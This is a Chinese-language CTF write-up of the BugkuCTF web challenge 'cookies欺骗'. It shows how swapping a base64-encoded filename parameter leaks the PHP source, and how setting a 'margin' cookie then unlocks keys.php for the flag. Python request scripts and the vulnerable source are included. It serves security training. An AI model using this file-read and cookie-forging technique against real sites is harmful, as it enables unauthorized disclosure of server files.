BugkuCTF:cookies欺骗(web)

  • 题目描述:

      点开链接,给了一串字符,这里只是一部分:

      rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaiheg

  • Burp抓包,发现没什么效果:

              

  • 思路

但,包里面的 GET /web11/index.php?line=&filename=a2V5cy50eHQ= HTTP/1.1  中的  a2V5cy50eHQ=  引起我的注意,base64解码一下,之后发现是 key.txt ,试了试在浏览器端直接访问http://123.206.87.240:8002/web11/key.txt,但是它与一开始的题目描述里的内容并无区别,然后,思路有点断了,之后看看别的博客,才注意到这个逻辑,php解析的时候 line 表示的是行号,filename是对于文件内容的读取,所以,直接构造一个逻辑矛盾,让filename去读自己即读index.php,既然key.txt是被编码过的,那么这里的index.php也要base64编码一下,之后报错,取line=1,相应的URL是:

http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw

报错结果,直接性的源码泄露:              

                   

 

  • 写个脚本自动读个几十行:
    import requests
    url1 = "http://123.206.87.240:8002/web11/index.php?line="
    url2 = "&filename=aW5kZXgucGhw"
    mysession = requests.session()
    for i in range(0, 40):
        r = mysession.get(url1+str(i)+url2)
        print(r.text)

     

  • 读取结果:
    <?php
    error_reporting(0);
    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //表示有filename的话获取其内容,没有的话就赋值为空
    $line=isset($_GET['line'])?intval($_GET['line']):0;  //line有值直接获取,无值赋值为0
    if($file=='') 
    header("location:index.php?line=&filename=a2V5cy50eHQ=");    //设置我们看到的URL
    $file_list = array(    //关联型数组
    '0' =>'keys.txt',
    '1' =>'index.php',
    );
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){//接下来的指示,cookie中的margin参数要设置,且要等于'margin'
    $file_list[2]='keys.php';    //在数组中加入keys.php,这应该存着flag
    }
    if(in_array($file, $file_list)){//看我们传入的filename的值是否在上面的数组中
    $fa = file($file);    //是则以文件的方式打开
    echo $fa[$line];      //按line行号,输出
    }
    ?>

大概意思是:要把cookie中设置margin参数为'margin'且要修改filename是keys.php的base64编码的内容,即可获取flag

  • 使用Burpsuite,抓到包后发送到Repeater:

                   

  • 或者可以写个脚本:
import requests
url = "http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA="  # filename替换为keys.php的base64加密后的内容
mysession = requests.session()
cookies = {'margin': 'margin'}
r = mysession.post(url, cookies=cookies)
print(r.text)

 

知识点:

  • int intval ( mixed $var [, int $base = 10 ] )
    用于获取变量的整数值,$var:要转换成 integer 的数量值,$base:转化所使用的进制
    intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
  • php array分为两类:关联性(类似python字典),数值型(正常)
  • in_array(search,array,type)
    要搜索的数据,要搜索的数组,数据的类型(可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。)
    search参数在php4之后就可以是数组类型了
  • file(path,include_path,context)    把整个文件读入一个数组中
    path规定要读取的文件
    include_path可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"
    context规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略
  • 与_COOKIE['xxx']对应的是  setcookie(name, value, expire, path, domain);
     
  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值